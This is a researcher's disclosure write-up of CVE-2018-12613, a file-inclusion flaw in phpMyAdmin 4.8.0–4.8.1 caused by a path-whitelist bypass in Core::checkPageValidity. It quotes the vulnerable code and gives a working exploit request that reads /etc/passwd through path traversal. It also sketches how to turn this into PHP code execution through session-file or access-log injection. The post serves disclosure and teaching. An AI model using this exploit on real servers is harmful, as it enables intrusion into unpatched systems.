I discovered a file inclusion vulnerability in index.php
from PMA 4.8.0 ~ 4.8.1, and it is assigned CVE-2018–12613. It is caused by a validation bypass in the vulnerable path checking function Core::checkPageValidity
. This vulnerability enables an authenticated remote attacker to execute arbitrary PHP code on the server.
There is a file inclusion in index.php
:
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
This include
used to be properly protected by the conditions in the if
statement, but in the 4.8.0 release, the last check is changed to reuse the existing function, Core::checkPageValidity
, which (I think) is meant to check URL paths. Hence we can exploit URL features to reach arbitrary file inclusion. The functions goes:
public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
// $whitelist == array('db_datadict.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
The function strips everything behind ?
from $page
(everything behind ?
is a query string, which is not part of the URL path), and checks if it is in the whitelist. The whitelist is a list:'db_datadict.php', 'sql.php', ...
.
Now, since we have complete control over $page
, which comes directly from $_REQUEST['target']
, we can set it to:
$page = 'sql.php?/../../../etc/passwd'
The function then performs its checks:
?
and assign 'sql.php'
to $_page
$_page
, i.e. 'sql.php'
, is in whitelist? YESAfter passing the check, back to index.php
:
include $_REQUEST['target'];
It includes the non-stripped version, bingo!
So the whole exploit goes:
GET /index.php?target=sql.php%3f/../../etc/passwd
%3f
will be decoded and become ?
Core::checkPageValidity
strips everything behind ?
and finds sql.php
within whitelist: check is bypassed!index.php
runs include 'sql.php?/../../etc/passwd'
, and PHP has this magic to convert the path to ../etc/passwd
, without checking if the directorysql.php?
exists or not. Finally, it includes ../etc/passwd
successfully.To write an exploit, you can enumerate file paths like:
../etc/passwd
../../etc/passwd
../windows/win.ini
../../windows/win.ini
Once you locate the number of ..
s you have to prepend, you can inject your php payload into access log, or run a query like SELECT ‘<?php phpinfo();?>'
in sql.php
and include your own session file (e.g. /var/lib/php5/sess_<PHPSESSID>
), which contains your SQL query, to execute arbitrary PHP code.
The root cause is the inconsistency between the checked path and the actual path for inclusion. The checked path should be used AS the actual path for inclusion, otherwise the check function might be bypassed or exploited.
This kind of inconsistency is a common pattern in various web vulnerabilities, as pointed out by orange in his epic talk on SSRF bypassing in Blackhat 2017.
I reported this vulnerability to SSD, and they went through the whole responsible disclosure process with phpmyadmin, many thanks to them!!